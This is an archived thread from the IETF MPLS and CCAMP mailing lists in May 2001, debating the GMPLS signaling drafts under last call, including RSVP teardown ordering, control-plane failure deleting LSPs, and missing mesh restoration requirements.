> > > From: George Swallow [mailto:swallow@cisco.com]
> > > Sent: Monday, May 14, 2001 1:52 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: GMPLS Last Calls
> > >
> > > This message initiates a last call on four GMPLS drafts.  The last
> > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > >
> > > The drafts are:
> > >
> > >     1.  Generalized MPLS - Signaling Functional Description
> > >
> > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > >
> > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > >
> > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > >
> > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > >
> > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > >
> > >     4.  GMPLS Extensions for SONET and SDH Control
> > >
> > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > >
> > > The last call closes May 29, 12 pm GMT.
> > >
> > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > >
> > > ======================================================================
> > > George Swallow       Cisco Systems                   (978) 244-8143
> > >                      250 Apollo Drive
> > >                      Chelmsford, Ma 01824



From owner-mpls@UU.NET  Fri May 25 14:12:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22642
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:12:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqom29843;
	Fri, 25 May 2001 18:07:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkqom08593
	for mpls-outgoing; Fri, 25 May 2001 18:06:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqom08564
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 18:06:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqom03164
	for <mpls@UU.NET>; Fri, 25 May 2001 18:05:17 GMT
Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqom28261
	for <mpls@UU.NET>; Fri, 25 May 2001 18:05:17 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id E1F204DEEA; Fri, 25 May 2001 14:05:16 -0400 (EDT)
Received: from research.att.com (dhcp-new183.research.att.com [135.207.19.183])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id OAA26495;
	Fri, 25 May 2001 14:05:16 -0400 (EDT)
Message-ID: <3B0E9EF1.36196764@research.att.com>
Date: Fri, 25 May 2001 14:05:37 -0400
From: Jennifer Yates <jyates@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET, ccamp@ops.ietf.org
Subject: Last call - RSVP problems
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

A number of potentially major protocol problems have been identified
within the OIF with the current signaling protocols (focusing on RSVP).
These problems arise in transport networks because the data plane is
separate from the signaling plane.

I don't believe these issues have been addressed on the mailing list -
if they have, please explain where.

****
Connection (LSP) teardown:
There is a problem with connection deletion in the current RSVP draft.
If a PathTear is sent in the forward direction (with say a
unidirectional connection), the first node (cross-connect) will delete
the connection and then forward the PathTear to the next cross-connect
and so on.

Since loss of light will propagate faster than the PathTears, all
downstream cross-connects will detect the loss of light and alarm on it,
possibly triggering restoration.  This is clearly unacceptable behavior.

The right solution is that the deletion message in the forward direction
should inform all of the nodes that the connection is being deleted, and
the actual deletion should propagate in the *reverse* direction.
Therefore, additional protocol extensions are needed to get the correct
behavior on deletion.

This issue has been already been discussed within OIF documents e.g.,
OIF2001.200 (RSVP Extensions in support of deletion confirmation and
maintenance during failure), and in the ITU e.g., "Signal flows during
exception cases". This issue does not appear to be reflected in the
GMPLS documents presented for last call.

****
Signaling channel failure:
If any element along the RSVP signaling path of an LSP fails, the RSVP
soft state timer in nodes downstream of the failure will timeout and the
nodes will delete the LSP, even if the forwarding plane is still
working! When GMPLS is used to control a transport network, this
scenario will occur, since the reliability of control planes is likely
quite a bit lower than the cross-connects themselves.  In transport
networks, the data plane reliability expectations are very high, and any
factor that increases the already steep challenge of meeting those
expectations is not acceptable.

One of the cardinal principles of transport network architecture is that
control plane failure must *not* cause the data plane to fail.  This
point has been raised and acknowledged at the OIF, but so far does not
seem to have been addressed in any of the GMPLS drafts.

Jen



From owner-mpls@UU.NET  Fri May 25 14:24:48 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22870
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:24:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqon22286;
	Fri, 25 May 2001 18:18:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkqon19738
	for mpls-outgoing; Fri, 25 May 2001 18:18:05 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqon19633
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 18:17:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqon16705
	for <mpls@uu.net>; Fri, 25 May 2001 18:16:04 GMT
Received: from blount.mail.mindspring.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: blount.mail.mindspring.net [207.69.200.226])
	id QQkqon07812
	for <mpls@uu.net>; Fri, 25 May 2001 18:16:02 GMT
Received: from oemcomputer (pool1132.cvx20-bradley.dialup.earthlink.net [209.179.254.112])
	by blount.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA04772;
	Fri, 25 May 2001 14:15:33 -0400 (EDT)
Received: by localhost with Microsoft MAPI; Fri, 25 May 2001 11:38:35 -0700
Message-ID: <01C0E50F.3B64B620.vsharma87@yahoo.com>
From: Vishal Sharma <vsharma87@yahoo.com>
Reply-To: "v.sharma@ieee.org" <v.sharma@ieee.org>
To: "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake
	 <jdrake@calient.net>
Cc: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)"
	 <gash@att.com>,
        "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: GMPLS Last Calls: Comments on restoration requirements
Date: Fri, 25 May 2001 11:38:33 -0700
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Chuck,

In response to restoration and survivability requirements, I would like to 
point
out that a framework for MPLS recovery is an MPLS WG document (and
has been for some time now; in fact, after we submit the final revision in
the next week or so, based on feedback we received after the last IETF, it
should go to last call as per the decision of the ADs at the last IETF).

http://search.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-02.txt

Also, at the last  IETF, there was support for this document being a  good
starting point for the generation of more general restoration requirements
by the TE WG.

FYI, about a year ago, we had submitted a draft to the TE WG
titled
"Network survivability considerations for traffic engineered IP networks,"
draft-owens-te-network-survivability-00.txt,
which was ahead of its times, and the TE WG was not ready
for it then. The abstract for the draft reads:

"Network survivability refers to the capability of the network to
maintain service continuity in the presence of faults within the
network [1]. This can be accomplished by recovering from network
failures quickly and maintaining the required QoS for existing
services. With the increasing sophistication of network technologies,
survivability capabilities are becoming available at multiple layers,
allowing for protection and restoration to occur at any layer of the
network. This makes it important to: scrutinize the recovery features
of different network layers, understand the pros and cons of performing
recovery at each layer, and assess how the interactions between layers
impact network survivability. With these objectives in mind, this draft
examines the considerations for network survivability at different
layers of the network."

The initial version was an attempt to hightlight all the issues, and an
overview, but it has since expired. Perhaps now
is a good time to resurrect it.

We would be happy to collaborate with any carriers that are interested
in progressing these requirements (in addition to Williams) within the
IETF.

Thanks,

-Vishal

On Friday, May 25, 2001 9:54 AM, C. R. Kalmanek [SMTP:crk@research.att.com] 
wrote:
> John,
>
> While there currently are no restoration requirements from the
> TE (or other) group, what Percy is saying is that shared mesh
> restoration WILL be a requirement from those groups.  Since the
> current GMPLS drafts don't meet this requirement, they are
> unlikely to meet key SP needs.
>
> I don't understand a process that starts the requirements
> development after last call for the signaling specifications.
>
> chuck
>
> John Drake wrote:
> >
> > Percy,
> >
> > There has been work on protocols for path restoration in mesh networks by a
> > number of
> > people.  However, at the last IETF Kireeti and Vijay clearly indicated that
> > this work,
> > while interesting, wouldn't be allowed to progress in advance of a
> > restoration requirements
> > draft from the TE group.
> >
> > Thanks,
> >
> > John
> >
> > -----Original Message-----
> > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > Sent: Thursday, May 24, 2001 11:55 AM
> > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > Subject: RE: GMPLS Last Calls
> >
> > There is a significant issue related to the absence of restoration in the
> > signaling draft
> > 
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> >
> > 4.txt). Very specifically, Section 7 of this draft deals with the case
> > involving protection information for link protection. While link protection
> > schemes may be desirable for fast recovery related to high priority LSP's,
> > more cost-effective shared mesh restoration schemes would be preferred for
> > the majority of traffic from a Service Provider's perspective. This
> > observation is supported by the fact that many vendors are currently
> > developing proprietary schemes for shared mesh restoration. Hence, in
> > addition to the protection information, GMPLS signaling needs to reflect a
> > minimum set of information/attributes required for shared mesh restoration
> > without jeopardizing vendor proprietary solutions.
> >
> > The need for multiple types of restoration capabilities is well documented
> > in the OIF/UNI I-D
> > http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-
> > 00.t
> > xt as follows:
> >
> > " Multiple types of facilities available for restoration are needed
> >    within the network. The following options should be considered for
> >    allocation of facilities to support restoration of failed
> >    connections:
> >    - Dedicated restoration capacity
> >    - Shared restoration capacity. This allows the network to ensure
> >      high quality service for customers, while still managing its
> >      physical resources efficiently.
> >    - Un-restorable
> >    - Pre-emptable"
> >
> > The OIF/UNI I-D supports a range of different restoration schemes through
> > the use of service level as a connection attribute. This attribute is
> > defined as follows:
> >
> > " an integer attribute that indicates a class of service. A carrier may
> > specify a range of different classes of service (e.g. gold, silver, bronze)
> > with predefined characteristics (e.g. restoration plans). The pre-defined
> > service types correspond to different types of network restoration (e.g. no
> > restoration, 1+1 protection), connection set-up and hold priorities,
> > reversion strategies for the connection after failures have been repaired,
> > and retention strategies."
> >
> > It is therefore important that GMPLS be extended to be able to support such
> > restoration schemes.
> >
> > Percy S. Tarapore
> > AT&T Labs
> >
> > -----Original Message-----
> > From: Ash, Gerald R (Jerry)
> > Sent: Thursday, May 24, 2001 2:20 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Cc: Ash, Gerald R (Jerry)
> > Subject: RE: GMPLS Last Calls
> >
> > Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> > draft:
> >
> > "Eve - Had hoped that CCAMP formation and expression of requirements would
> > enable us to do more with architecture than reverse architect proposed
> > solution. Think we should also look at carrier requirements and look for
> > discrepancies with architecture.
> > Curtis - requirements of carriers not being addressed?
> > Eve - happy to discuss on mailing list in absence of time"
> >
> > There are still no documented service provider (SP) requirements driving
> > the
> > proposed GMPLS protocol extensions.  This is inconsistent with the current
> > initiatives to provide SP requirements prior to protocol extensions being
> > accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
> > MPLS/DiffServ TE, multi-area TE, etc.
> >
> > Here is a sample of SP requirements that are not being addressed (other
> > requirements from our perspective are forthcoming):
> >
> > 1. Restoration requirements, particularly in support of mesh restoration,
> > need to be supported by GMPLS.  For example, Section 7 of the Generalized
> > Signaling I-D
> > 
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> >
> > 4.txt)
> > primarily discusses link protection, restoration capabilities are largely
> > missing and need to be included.
> >
> > 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> > should be clearly identified in the text and referenced in the GMPLS I-Ds,
> > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> > [Reference
> > G.707] is supported by the Generalized Label Request."
> >
> > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > requirements to the list.  It would also help if more SPs were invited to
> > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > adequately reflected and addressed.
> >
> > Jerry Ash
> > AT&T Labs
> >
> > -----Original Message-----
> > From: George Swallow [mailto:swallow@cisco.com]
> > Sent: Monday, May 14, 2001 1:52 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Subject: GMPLS Last Calls
> >
> > This message initiates a last call on four GMPLS drafts.  The last
> > call is being issued jointly in the MPLS and CCAMP workgroups.
> >
> > The drafts are:
> >
> >     1.  Generalized MPLS - Signaling Functional Description
> >
> >            <draft-ietf-mpls-generalized-signaling-04.txt>
> >
> >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> >
> >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> >
> >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> >
> >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> >
> >     4.  GMPLS Extensions for SONET and SDH Control
> >
> >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> >
> > The last call closes May 29, 12 pm GMT.
> >
> > -  V2KG (Vijay, Vijay, Kireeti, & George)
> >
> > ======================================================================
> > George Swallow       Cisco Systems                   (978) 244-8143
> >                      250 Apollo Drive
> >                      Chelmsford, Ma 01824


From owner-mpls@UU.NET  Fri May 25 14:44:44 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23250
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:44:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoo28378;
	Fri, 25 May 2001 18:39:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoo21893
	for mpls-outgoing; Fri, 25 May 2001 18:39:04 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoo21879
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 18:38:55 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqoo18761
	for <mpls@UU.NET>; Fri, 25 May 2001 18:37:28 GMT
Received: from blount.mail.mindspring.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: blount.mail.mindspring.net [207.69.200.226])
	id QQkqoo27970
	for <mpls@UU.NET>; Fri, 25 May 2001 18:37:28 GMT
Received: from oemcomputer (pool1132.cvx20-bradley.dialup.earthlink.net [209.179.254.112])
	by blount.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA29609;
	Fri, 25 May 2001 14:37:23 -0400 (EDT)
Received: by localhost with Microsoft MAPI; Fri, 25 May 2001 12:00:20 -0700
Message-ID: <01C0E512.459D90A0.vsharma87@yahoo.com>
From: Vishal Sharma <vsharma87@yahoo.com>
Reply-To: "v.sharma@ieee.org" <v.sharma@ieee.org>
To: "'Jennifer Yates'" <jyates@research.att.com>,
        "mpls@UU.NET"
	 <mpls@UU.NET>,
        "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 12:00:19 -0700
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jen,

Your points are well taken. My question is: will the carriers be willing to
provide some suggested solutions to both these problems, particularly
the second one.
Perhaps having corresponding IETF documents addressing these
problems and their possible solutions would help to move the
discussion forward.

-Vishal

On Friday, May 25, 2001 11:06 AM, Jennifer Yates [SMTP:jyates@research.att.com] 
wrote:
> A number of potentially major protocol problems have been identified
> within the OIF with the current signaling protocols (focusing on RSVP).
> These problems arise in transport networks because the data plane is
> separate from the signaling plane.
>
> I don't believe these issues have been addressed on the mailing list -
> if they have, please explain where.
>
> ****
> Connection (LSP) teardown:
> There is a problem with connection deletion in the current RSVP draft.
> If a PathTear is sent in the forward direction (with say a
> unidirectional connection), the first node (cross-connect) will delete
> the connection and then forward the PathTear to the next cross-connect
> and so on.
>
> Since loss of light will propagate faster than the PathTears, all
> downstream cross-connects will detect the loss of light and alarm on it,
> possibly triggering restoration.  This is clearly unacceptable behavior.
>
> The right solution is that the deletion message in the forward direction
> should inform all of the nodes that the connection is being deleted, and
> the actual deletion should propagate in the *reverse* direction.
> Therefore, additional protocol extensions are needed to get the correct
> behavior on deletion.
>
> This issue has been already been discussed within OIF documents e.g.,
> OIF2001.200 (RSVP Extensions in support of deletion confirmation and
> maintenance during failure), and in the ITU e.g., "Signal flows during
> exception cases". This issue does not appear to be reflected in the
> GMPLS documents presented for last call.
>
> ****
> Signaling channel failure:
> If any element along the RSVP signaling path of an LSP fails, the RSVP
> soft state timer in nodes downstream of the failure will timeout and the
> nodes will delete the LSP, even if the forwarding plane is still
> working! When GMPLS is used to control a transport network, this
> scenario will occur, since the reliability of control planes is likely
> quite a bit lower than the cross-connects themselves.  In transport
> networks, the data plane reliability expectations are very high, and any
> factor that increases the already steep challenge of meeting those
> expectations is not acceptable.
>
> One of the cardinal principles of transport network architecture is that
> control plane failure must *not* cause the data plane to fail.  This
> point has been raised and acknowledged at the OIF, but so far does not
> seem to have been addressed in any of the GMPLS drafts.
>
> Jen


From owner-mpls@UU.NET  Fri May 25 14:53:26 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23353
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:53:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqop12423;
	Fri, 25 May 2001 18:49:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkqop23326
	for mpls-outgoing; Fri, 25 May 2001 18:49:17 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqop23295
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 18:49:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqop11861
	for <mpls@UU.NET>; Fri, 25 May 2001 18:48:35 GMT
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkqop11493
	for <mpls@UU.NET>; Fri, 25 May 2001 18:48:35 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4PImTs06550;
	Fri, 25 May 2001 20:48:29 +0200 (MET DST)
Received: from alcatel.be ([138.203.253.239]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A57.006749C4; Fri, 25 May 2001 20:48:11 +0200
Message-ID: <3B0EA8DB.311D54A0@alcatel.be>
Date: Fri, 25 May 2001 20:47:55 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jennifer Yates <jyates@research.att.com>
CC: mpls@UU.NET, ccamp@ops.ietf.org
Subject: Re: Last call - RSVP problems
References: <3B0E9EF1.36196764@research.att.com>
Content-Type: multipart/mixed;
 boundary="------------FD8AFAC5ADBCC1426845D3AE"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------FD8AFAC5ADBCC1426845D3AE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Jennifer,

At that i didn't raise this question but today it seems we
don't have a LoL propagation (except in all-optical networks)
so i was surprised that this question raised at the OIF
since dealing with SDH/Sonet UNI. So in most cases today 
"PathTear" is a link-by-link deletion process the LoL won't
propagate faster than the PathTear since you can now control
the signal deletion at each hop. Am i right ?

Notice this does not preclude to generalize the process as
proposed in your suggestion.

- Dimitri.

Jennifer Yates wrote:
> 
> A number of potentially major protocol problems have been identified
> within the OIF with the current signaling protocols (focusing on RSVP).
> These problems arise in transport networks because the data plane is
> separate from the signaling plane.
> 
> I don't believe these issues have been addressed on the mailing list -
> if they have, please explain where.
> 
> ****
> Connection (LSP) teardown:
> There is a problem with connection deletion in the current RSVP draft.
> If a PathTear is sent in the forward direction (with say a
> unidirectional connection), the first node (cross-connect) will delete
> the connection and then forward the PathTear to the next cross-connect
> and so on.
> 
> Since loss of light will propagate faster than the PathTears, all
> downstream cross-connects will detect the loss of light and alarm on it,
> possibly triggering restoration.  This is clearly unacceptable behavior.
> 
> The right solution is that the deletion message in the forward direction
> should inform all of the nodes that the connection is being deleted, and
> the actual deletion should propagate in the *reverse* direction.
> Therefore, additional protocol extensions are needed to get the correct
> behavior on deletion.
> 
> This issue has been already been discussed within OIF documents e.g.,
> OIF2001.200 (RSVP Extensions in support of deletion confirmation and
> maintenance during failure), and in the ITU e.g., "Signal flows during
> exception cases". This issue does not appear to be reflected in the
> GMPLS documents presented for last call.
> 
> ****
> Signaling channel failure:
> If any element along the RSVP signaling path of an LSP fails, the RSVP
> soft state timer in nodes downstream of the failure will timeout and the
> nodes will delete the LSP, even if the forwarding plane is still
> working! When GMPLS is used to control a transport network, this
> scenario will occur, since the reliability of control planes is likely
> quite a bit lower than the cross-connects themselves.  In transport
> networks, the data plane reliability expectations are very high, and any
> factor that increases the already steep challenge of meeting those
> expectations is not acceptable.
> 
> One of the cardinal principles of transport network architecture is that
> control plane failure must *not* cause the data plane to fail.  This
> point has been raised and acknowledged at the OIF, but so far does not
> seem to have been addressed in any of the GMPLS drafts.
> 
> Jen
--------------FD8AFAC5ADBCC1426845D3AE
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------FD8AFAC5ADBCC1426845D3AE--



From owner-mpls@UU.NET  Fri May 25 15:13:05 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23688
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 15:13:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqoq03523;
	Fri, 25 May 2001 19:07:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkqoq06245
	for mpls-outgoing; Fri, 25 May 2001 19:06:53 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqoq06215
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 19:06:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqoq17881
	for <mpls@UU.NET>; Fri, 25 May 2001 19:06:45 GMT
Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqoq23372
	for <mpls@UU.NET>; Fri, 25 May 2001 19:06:45 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 833F24DEF6; Fri, 25 May 2001 15:06:44 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id PAA04032;
	Fri, 25 May 2001 15:06:43 -0400 (EDT)
Message-ID: <3B0EAE36.EE0F1E35@research.att.com>
Date: Fri, 25 May 2001 15:10:46 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "v.sharma@ieee.org" <v.sharma@ieee.org>
Cc: "'Jennifer Yates'" <jyates@research.att.com>, "mpls@UU.NET" <mpls@UU.NET>,
        "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>
Subject: Re: Last call - RSVP problems
References: <01C0E512.459D90A0.vsharma87@yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Vishal:

If mpls WG agrees that these issues are problems in GMPLS and would like to fix
them before last call, there will be some possible solutions from different
contributions.

Jen provides a suggested procedure for the first one. A possible solution for the
second one could be to define an infinite refresh timer (never expires). Another
solution could be time-out without removing states, etc. Details need more work.

Thanks,

Guangzhi

Vishal Sharma wrote:

> Jen,
>
> Your points are well taken. My question is: will the carriers be willing to
> provide some suggested solutions to both these problems, particularly
> the second one.
> Perhaps having corresponding IETF documents addressing these
> problems and their possible solutions would help to move the
> discussion forward.
>
> -Vishal
>
> On Friday, May 25, 2001 11:06 AM, Jennifer Yates [SMTP:jyates@research.att.com]
> wrote:
> > A number of potentially major protocol problems have been identified
> > within the OIF with the current signaling protocols (focusing on RSVP).
> > These problems arise in transport networks because the data plane is
> > separate from the signaling plane.
> >
> > I don't believe these issues have been addressed on the mailing list -
> > if they have, please explain where.
> >
> > ****
> > Connection (LSP) teardown:
> > There is a problem with connection deletion in the current RSVP draft.
> > If a PathTear is sent in the forward direction (with say a
> > unidirectional connection), the first node (cross-connect) will delete
> > the connection and then forward the PathTear to the next cross-connect
> > and so on.
> >
> > Since loss of light will propagate faster than the PathTears, all
> > downstream cross-connects will detect the loss of light and alarm on it,
> > possibly triggering restoration.  This is clearly unacceptable behavior.
> >
> > The right solution is that the deletion message in the forward direction
> > should inform all of the nodes that the connection is being deleted, and
> > the actual deletion should propagate in the *reverse* direction.
> > Therefore, additional protocol extensions are needed to get the correct
> > behavior on deletion.
> >
> > This issue has been already been discussed within OIF documents e.g.,
> > OIF2001.200 (RSVP Extensions in support of deletion confirmation and
> > maintenance during failure), and in the ITU e.g., "Signal flows during
> > exception cases". This issue does not appear to be reflected in the
> > GMPLS documents presented for last call.
> >
> > ****
> > Signaling channel failure:
> > If any element along the RSVP signaling path of an LSP fails, the RSVP
> > soft state timer in nodes downstream of the failure will timeout and the
> > nodes will delete the LSP, even if the forwarding plane is still
> > working! When GMPLS is used to control a transport network, this
> > scenario will occur, since the reliability of control planes is likely
> > quite a bit lower than the cross-connects themselves.  In transport
> > networks, the data plane reliability expectations are very high, and any
> > factor that increases the already steep challenge of meeting those
> > expectations is not acceptable.
> >
> > One of the cardinal principles of transport network architecture is that
> > control plane failure must *not* cause the data plane to fail.  This
> > point has been raised and acknowledged at the OIF, but so far does not
> > seem to have been addressed in any of the GMPLS drafts.
> >
> > Jen



From owner-mpls@UU.NET  Fri May 25 15:33:23 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23880
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 15:33:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqor06465;
	Fri, 25 May 2001 19:27:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkqor17435
	for mpls-outgoing; Fri, 25 May 2001 19:27:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
